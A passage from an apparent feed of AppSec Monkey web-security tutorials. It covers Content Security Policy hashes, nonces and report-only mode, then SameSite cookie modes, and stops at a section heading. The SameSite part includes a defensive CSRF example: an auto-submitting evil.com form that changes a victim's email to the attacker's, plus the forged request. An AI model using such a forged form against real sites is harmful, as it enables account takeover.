&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Let's plug it into &lt;a href="https://csp-evaluator.withgoogle.com/" rel="noopener noreferrer"&gt;Google's CSP evaluator&lt;/a&gt; and see how we did.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F0iclym5skquay3fq42b9.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F0iclym5skquay3fq42b9.png" alt="Alt Text"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Pretty good. The yellow in the &lt;code&gt;script-src&lt;/code&gt; is just because we used 'self' which can be problematic if e.g. host user-submitted content.&lt;/p&gt;

&lt;p&gt;But this was a sunny day scenario where we were able to refactor the code and get rid of inline scripts and dangerous function calls. Now let's see what you can do when you are forced to use a JavaScript framework that uses eval or when you need to have inline scripts in your HTML.&lt;/p&gt;

&lt;h2&gt;
  
  
  script-src: hashes
&lt;/h2&gt;

&lt;p&gt;If you can't get rid of inline JavaScript, as of Content Security Policy level 2, you can use &lt;code&gt;script-src 'sha256-&amp;lt;hash&amp;gt;'&lt;/code&gt; to allow scripts with a specific hash to execute. Nonces and hashes are quite well supported, see &lt;a href="https://caniuse.com/contentsecuritypolicy2" rel="noopener noreferrer"&gt;here&lt;/a&gt; for details compatibility. At any rate, CSP is backward compatible as long as you use it right.&lt;/p&gt;

&lt;p&gt;You can follow along by forking &lt;a href="https://codesandbox.io/s/csp-practice-hashes-4z1b6" rel="noopener noreferrer"&gt;this CodeSandbox&lt;/a&gt;. It's the same situation as before, but this time we won't refactor the inline script into its own file. Instead, we'll add its hash to our policy.&lt;/p&gt;

&lt;p&gt;You could get the SHA256 hash manually, but it's a bit tricky to get the whitespace and formatting right. Luckily Chrome developer tools provide us with the hash, as you might have already noticed.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;❌ Refused to execute inline script because it violates the following Content Security Policy directive: "script-src 'self' &lt;a href="https://www.google-analytics.com/analytics.js" rel="noopener noreferrer"&gt;https://www.google-analytics.com/analytics.js&lt;/a&gt; &lt;a href="https://code.jquery.com/jquery-1.12.4.js" rel="noopener noreferrer"&gt;https://code.jquery.com/jquery-1.12.4.js&lt;/a&gt;". Either the 'unsafe-inline' keyword, a hash (&lt;strong&gt;'sha256-V2kaaafImTjn8RQTWZmF4IfGfQ7Qsqsw9GWaFjzFNPg='&lt;/strong&gt;), or a nonce ('nonce-...') is required to enable inline execution.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;So let's just add that hash to our policy like so, and the page will work again.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="p"&gt;...&lt;/span&gt;
&lt;span class="nx"&gt;scriptSrc&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt; 'sha256-V2kaaafImTjn8RQTWZmF4IfGfQ7Qsqsw9GWaFjzFNPg='&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nx"&gt;scriptSrc&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt; 'unsafe-inline'&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;...&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We also have to add the &lt;code&gt;unsafe-inline&lt;/code&gt; for backward compatibility. Don't worry; browsers ignore it in the presence of a hash or nonce for browsers that support CSP level 2.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note&lt;/strong&gt;&lt;br&gt;
Using hashes is generally not a very good approach. If you change &lt;em&gt;anything&lt;/em&gt; inside the script tag (even whitespace), by e.g. formatting your code, the hash will be different, and the script won't render.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2&gt;
  
  
  script-src: nonce
&lt;/h2&gt;

&lt;p&gt;The second way to allow specific inline scripts is to use a &lt;a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/script-src" rel="noopener noreferrer"&gt;nonce&lt;/a&gt;. It's slightly more involved, but you won't have to worry about formatting your code.&lt;/p&gt;

&lt;p&gt;Nonces are unique one-time-use random values that you generate for each HTTP response, and add to the Content-Security-Policy header, like so:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;nonce&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;uuid&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;v4&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="nx"&gt;scriptSrc&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="s2"&gt;` 'nonce-&lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;nonce&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;'`&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;You would then pass this nonce to your view (using nonces requires a non-static HTML) and render script tags that look something like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;script&lt;/span&gt; &lt;span class="nx"&gt;nonce&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;&amp;lt;%= nonce %&amp;gt;&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
        &lt;span class="nf"&gt;$&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;ready&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;function &lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;$&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;ajax&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
    &lt;span class="na"&gt;url&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;https://cat-fact.herokuapp.com/facts/random&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="p"&gt;...&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Fork &lt;a href="https://codesandbox.io/s/csp-practice-nonces-jwuqk" rel="noopener noreferrer"&gt;this CodeSandbox&lt;/a&gt; to play around with the solution I created with nonces and the EJS view engine.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;WARNING&lt;/strong&gt;&lt;br&gt;
Don't create a middleware that just replaces all script tags with "script nonce=..." because attacker-injected scripts will then get the nonces as well. You need an actual HTML templating engine to use nonces.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3&gt;
  
  
  script-src: 'unsafe-eval'
&lt;/h3&gt;

&lt;p&gt;If your own code, or a dependency on your page, is using text-to-JavaScript functions like &lt;code&gt;eval&lt;/code&gt;, you might run into a warning like this.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;❌ Uncaught EvalError: Refused to evaluate a string as JavaScript because 'unsafe-eval' is not an allowed source of script in the following Content Security Policy directive: "script-src 'self' &lt;a href="https://www.google-analytics.com/analytics.js" rel="noopener noreferrer"&gt;https://www.google-analytics.com/analytics.js&lt;/a&gt; &lt;a href="https://code.jquery.com/jquery-1.12.4.js" rel="noopener noreferrer"&gt;https://code.jquery.com/jquery-1.12.4.js&lt;/a&gt;".&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;If it's your own code, refactor it not to use &lt;code&gt;eval&lt;/code&gt;. If it's a dependency, consult its documentation to see if a more recent version, or some specific way of using it, is compatible with a safe content security policy header.&lt;/p&gt;

&lt;p&gt;If not, then you will have to add the &lt;a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/script-src#unsafe_eval_expressions" rel="noopener noreferrer"&gt;unsafe-eval&lt;/a&gt; keyword to your &lt;code&gt;script-src&lt;/code&gt;. This will forfeit the DOM-XSS protection that CSP provides.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nx"&gt;scriptSrc&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt; 'unsafe-eval'&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// cut my life into pieces this is my last resort&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The situation will somewhat improve in the future with &lt;a href="https://www.w3.org/TR/CSP3/" rel="noopener noreferrer"&gt;Content Security Policy Level 3&lt;/a&gt;, which lets you have more control of DOM-XSS sink functions, among other things. When browsers start supporting it properly, I will update this guide.&lt;/p&gt;

&lt;h3&gt;
  
  
  Report only mode
&lt;/h3&gt;

&lt;p&gt;Deploying CSP to production for the first time can be scary. You can start with a &lt;a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy-Report-Only" rel="noopener noreferrer"&gt;Content-Security-Policy-Report-Only&lt;/a&gt; header, which will print the violations to console but will not enforce them. Then do all the testing you want with different browsers and eventually deploy the enforcing header.&lt;/p&gt;

&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;The content security policy header is an outstanding defense against XSS attacks. It takes a little bit of work to get right, but it's worth it.&lt;/p&gt;

&lt;p&gt;It's always preferred to refactor your code so that it can run with a safe and clean policy. But when inline-scripts or eval cannot be helped, CSP level 2 provides us with nonces and hashes that we can use.&lt;/p&gt;

&lt;p&gt;Before deploying the enforcing policy to production, start with a report-only header to avoid any unnecessary grief.&lt;/p&gt;

&lt;h2&gt;
  
  
  Get the web security checklist spreadsheet!
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://eepurl.com/hqAGt5" rel="noopener noreferrer"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3iqd1ef4a5a0icyvvk65.jpg" alt="Subscribe"&gt;&lt;/a&gt;&lt;br&gt;
 ☝️ &lt;a href="https://eepurl.com/hqAGt5" rel="noopener noreferrer"&gt;Subscribe&lt;/a&gt; to AppSec Monkey's email list, get our best content delivered straight to your inbox, and &lt;b&gt;get our 2021 Web Application Security Checklist Spreadsheet for FREE&lt;/b&gt; as a welcome gift!&lt;/p&gt;

&lt;h2&gt;
  
  
  Don't stop here
&lt;/h2&gt;

&lt;p&gt;If you like this article, check out the other application security guides we have on &lt;a href="https://www.appsecmonkey.com/" rel="noopener noreferrer"&gt;AppSec Monkey&lt;/a&gt; as well.&lt;/p&gt;

&lt;p&gt;Thanks for reading.&lt;/p&gt;

</description>
      <category>security</category>
      <category>webdev</category>
      <category>cybersecurity</category>
      <category>programming</category>
    </item>
    <item>
      <title>SameSite Cookies and Why You Need Them</title>
      <dc:creator>Teo Selenius</dc:creator>
      <pubDate>Thu, 25 Feb 2021 23:52:44 +0000</pubDate>
      <link>https://forem.com/appsecmonkey/samesite-cookies-and-why-you-need-them-4g6l</link>
      <guid>https://forem.com/appsecmonkey/samesite-cookies-and-why-you-need-them-4g6l</guid>
      <description>&lt;p&gt;The original post can be found &lt;a href="https://www.appsecmonkey.com/blog/samesite-cookies/" rel="noopener noreferrer"&gt;here&lt;/a&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  What are SameSite cookies?
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Set-Cookie/SameSite" rel="noopener noreferrer"&gt;SameSite&lt;/a&gt; is a cookie security attribute &lt;a href="https://tools.ietf.org/html/draft-ietf-httpbis-cookie-same-site-00" rel="noopener noreferrer"&gt;introduced in 2016&lt;/a&gt;. Its purpose is to prevent cookies from getting included in cross-site requests in order to mitigate different client-side attacks such as &lt;a href="https://www.appsecmonkey.com/blog/csrf-attack-and-prevention/" rel="noopener noreferrer"&gt;CSRF&lt;/a&gt;, &lt;a href="https://www.appsecmonkey.com/blog/xs-leaks/" rel="noopener noreferrer"&gt;XS-Leaks&lt;/a&gt; and &lt;a href="https://www.appsecmonkey.com/blog/xss-attack-and-prevention/" rel="noopener noreferrer"&gt;XSS&lt;/a&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  What is a cross-site request?
&lt;/h2&gt;

&lt;p&gt;It's a request from another website.&lt;/p&gt;

&lt;p&gt;For example, when evil.com loads an image from example.com, it's a cross-site request. It's also a cross-site request when evil.com frames example.com or navigates to it.&lt;/p&gt;

&lt;p&gt;So what's a site? To be specific, the &lt;code&gt;site&lt;/code&gt; of an URL is calculated from the &lt;code&gt;host&lt;/code&gt; part by taking the &lt;em&gt;effective&lt;/em&gt; &lt;a href="https://developer.mozilla.org/en-US/docs/Glossary/TLD" rel="noopener noreferrer"&gt;TLD&lt;/a&gt; (I'll get to the effective thing in a minute) and the part immediately before it. This combination is called &lt;code&gt;eTLD+1&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;So the &lt;code&gt;host&lt;/code&gt; part of &lt;em&gt;"&lt;a href="https://www.appsecmonkey.com" rel="noopener noreferrer"&gt;https://www.appsecmonkey.com&lt;/a&gt;"&lt;/em&gt; is &lt;em&gt;&lt;a href="http://www.appsecmonkey.com" rel="noopener noreferrer"&gt;www.appsecmonkey.com&lt;/a&gt;&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;And the effective TLD is &lt;em&gt;com&lt;/em&gt;. And the part immediately before the TLD is &lt;em&gt;appsecmonkey&lt;/em&gt;. So the site is &lt;em&gt;appsecmonkey.com&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F1nmocs0x1hcdpc9wmej1.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F1nmocs0x1hcdpc9wmej1.jpg" alt="eTLD + 1"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Using the same formula, the site for &lt;em&gt;&lt;a href="http://a.b.c.appsecmonkey.com:8080/" rel="noopener noreferrer"&gt;http://a.b.c.appsecmonkey.com:8080/&lt;/a&gt;&lt;/em&gt; is also &lt;code&gt;appsecmonkey.com&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F7ey0qo29dmnvnk7msuaq.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F7ey0qo29dmnvnk7msuaq.jpg" alt="eTLD + 1"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Note that unlike &lt;a href="https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy" rel="noopener noreferrer"&gt;cross-origin requests&lt;/a&gt;, the &lt;code&gt;scheme&lt;/code&gt; (http) and &lt;code&gt;port&lt;/code&gt; (8080) are &lt;em&gt;not&lt;/em&gt; relevant in cross-&lt;em&gt;site&lt;/em&gt;-requests.&lt;/p&gt;

&lt;p&gt;Finally, I promised to clarify the effective TLD thing. The TLD of &lt;em&gt;&lt;a href="https://www.appsecmonkey.co.uk" rel="noopener noreferrer"&gt;https://www.appsecmonkey.co.uk&lt;/a&gt;&lt;/em&gt; is &lt;em&gt;.uk&lt;/em&gt;. But the effective TLD, or eTLD, is &lt;em&gt;.co.uk&lt;/em&gt;. The list of these "eTLD suffixes" such as &lt;em&gt;.co.uk&lt;/em&gt; is facilitated by the &lt;a href="https://publicsuffix.org/" rel="noopener noreferrer"&gt;public suffix list&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fjvh3zktapqamc8dwjbtq.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fjvh3zktapqamc8dwjbtq.jpg" alt="eTLD + 1"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;To summarize, the site is eTLD+1, and any interaction where the source and destination have a different site is called &lt;em&gt;cross-site&lt;/em&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Lax vs. Strict vs. None
&lt;/h2&gt;

&lt;p&gt;SameSite cookies have three modes: &lt;code&gt;Lax&lt;/code&gt;, &lt;code&gt;Strict&lt;/code&gt; and &lt;code&gt;None&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Generally, &lt;code&gt;Lax&lt;/code&gt; is suitable for all applications, while &lt;code&gt;Strict&lt;/code&gt; tends to be a better fit for security-critical applications. &lt;code&gt;None&lt;/code&gt; is just for opting out.&lt;/p&gt;

&lt;h3&gt;
  
  
  Lax
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;SameSite=Lax&lt;/code&gt; will protect the cookie from &lt;em&gt;cross-site&lt;/em&gt; interactions in a &lt;em&gt;third-party context&lt;/em&gt;. These include: &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;evil.com loading a resource (image, style, script, etc.) from example.com.&lt;/li&gt;
&lt;li&gt;evil.com loading example.com in an iframe.&lt;/li&gt;
&lt;li&gt;evil.com submitting a form to example.com.&lt;/li&gt;
&lt;li&gt;evil.com sending a fetch request to example.com.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Lax cookies, however, &lt;em&gt;will&lt;/em&gt; be sent when navigating. For example: &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;evil.com has a link to example.com (which the user clicks).&lt;/li&gt;
&lt;li&gt;evil.com redirects the user to example.com.&lt;/li&gt;
&lt;li&gt;evil.com calls window.open('example.com').&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;You can use it like so.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;Set-Cookie&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;foo=bar; SameSite=Lax; ...&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Strict
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;SameSite=Strict&lt;/code&gt; has all the protections of the lax mode, with the addition that it also protects the cookies when navigating.&lt;/p&gt;

&lt;p&gt;Browsers include &lt;code&gt;SameSite=Strict&lt;/code&gt; cookies only in &lt;em&gt;first-party context&lt;/em&gt;, which is to say when the user types something into the URL bar and presses enter (or uses a bookmark).&lt;/p&gt;

&lt;p&gt;While the &lt;em&gt;strict&lt;/em&gt; mode is the most secure, it has drawbacks such as breaking links to the application, so it's not always suitable.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;Set-Cookie&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;foo=bar; SameSite=Strict; ...&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  None
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;SameSite=None&lt;/code&gt; opts out of the protection when you explicitly &lt;em&gt;want&lt;/em&gt; to send the cookie in cross-site interactions. It is necessary because browsers &lt;a href="https://tools.ietf.org/html/draft-west-cookie-incrementalism-00" rel="noopener noreferrer"&gt;have started to&lt;/a&gt; enable &lt;code&gt;SameSite=Lax&lt;/code&gt; as the default (which is awesome).&lt;/p&gt;

&lt;p&gt;In order to use &lt;code&gt;SameSite=None&lt;/code&gt;, you &lt;a href="https://tools.ietf.org/html/draft-west-cookie-incrementalism-00#section-3.2" rel="noopener noreferrer"&gt;are required&lt;/a&gt; to specify the &lt;code&gt;Secure&lt;/code&gt; flag as well. The secure flag will prevent the cookie from leaking over an unencrypted connection. I don't fully understand the reasoning behind requiring it, but apparently, it has something to do with &lt;a href="https://tools.ietf.org/html/rfc7258" rel="noopener noreferrer"&gt;pervasive monitoring&lt;/a&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;Set-Cookie&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;foo=bar; SameSite=None; Secure; ...&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;At any rate, it's always a good practice to use the other cookie security features as well: &lt;a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies#restrict_access_to_cookies" rel="noopener noreferrer"&gt;Secure&lt;/a&gt;, &lt;a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies#restrict_access_to_cookies" rel="noopener noreferrer"&gt;HttpOnly&lt;/a&gt; and &lt;a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Set-Cookie#cookie_prefixes" rel="noopener noreferrer"&gt;__Host-prefix&lt;/a&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;Set-Cookie&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;__Host-foo=bar; SameSite=Lax; Secure; HttpOnly; Path=/&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  SameSite vs. CSRF
&lt;/h2&gt;

&lt;p&gt;One of the best features of SameSite cookies is their capability to prevent &lt;a href="https://www.appsecmonkey.com/blog/csrf-attack-and-prevention/" rel="noopener noreferrer"&gt;CSRF (Cross-Site Request Forgery)&lt;/a&gt; attacks.&lt;/p&gt;

&lt;p&gt;Here is how a CSRF attack might work. Let's pretend that our user logs in to &lt;em&gt;appsecmonkey.com&lt;/em&gt;, which sets the user's session cookie like so.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;Set-Cookie&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;SessionID=ABC123; Secure; HttpOnly&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And a malicious website, evil.com, hosts the following HTML.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;form&lt;/span&gt; &lt;span class="na"&gt;method=&lt;/span&gt;&lt;span class="s"&gt;"POST"&lt;/span&gt;  &lt;span class="na"&gt;action=&lt;/span&gt;&lt;span class="s"&gt;"https://www.appsecmonkey.com/user/update-email/"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;input&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"hidden"&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;"new_email"&lt;/span&gt; &lt;span class="na"&gt;value=&lt;/span&gt;&lt;span class="s"&gt;"attacker@evil.com"&lt;/span&gt; &lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/form&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;script &lt;/span&gt;&lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"text/javascript"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
  &lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;badform&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;submit&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/script&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;When the unwitting user browses to the URL, the following &lt;em&gt;cross-site&lt;/em&gt; &lt;code&gt;POST&lt;/code&gt; request to &lt;em&gt;appsecmonkey.com&lt;/em&gt; gets sent from the user's browser:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="s"&gt;POST /user/update-email/ HTTP/1.1&lt;/span&gt;
&lt;span class="na"&gt;Host&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;www.appsecmonkey.com&lt;/span&gt;
&lt;span class="na"&gt;Cookie&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;SessionId=ABC123&lt;/span&gt;
&lt;span class="nn"&gt;...&lt;/span&gt;

&lt;span class="s"&gt;new_email=attacker@evil.com&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And the user's email address gets changed to &lt;code&gt;attacker@evil.com&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;However, if &lt;em&gt;appsecmonkey.com&lt;/em&gt; sets the cookie as &lt;em&gt;SameSite&lt;/em&gt;, and the same attack happens, the resulting POST request will not contain the cookie.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;Set-Cookie&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;SessionID=ABC123; Secure; HttpOnly; SameSite=Lax&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="s"&gt;POST /user/update-email/ HTTP/1.1&lt;/span&gt;
&lt;span class="na"&gt;Host&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;www.appsecmonkey.com&lt;/span&gt;
&lt;span class="nn"&gt;...&lt;/span&gt;

&lt;span class="s"&gt;new_email=attacker@evil.com&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And the user's email remains intact.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;CSRF synchronizer tokens are the primary defense against CSRF attacks. SameSite is merely an extra layer of security, hardening that should be used &lt;em&gt;in addition to&lt;/em&gt; the actual security control (CSRF tokens) to achieve defense-in-depth.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2&gt;
  
  
  SameSite vs. HTTP Verb Misuse CSRF
&lt;/h2&gt;

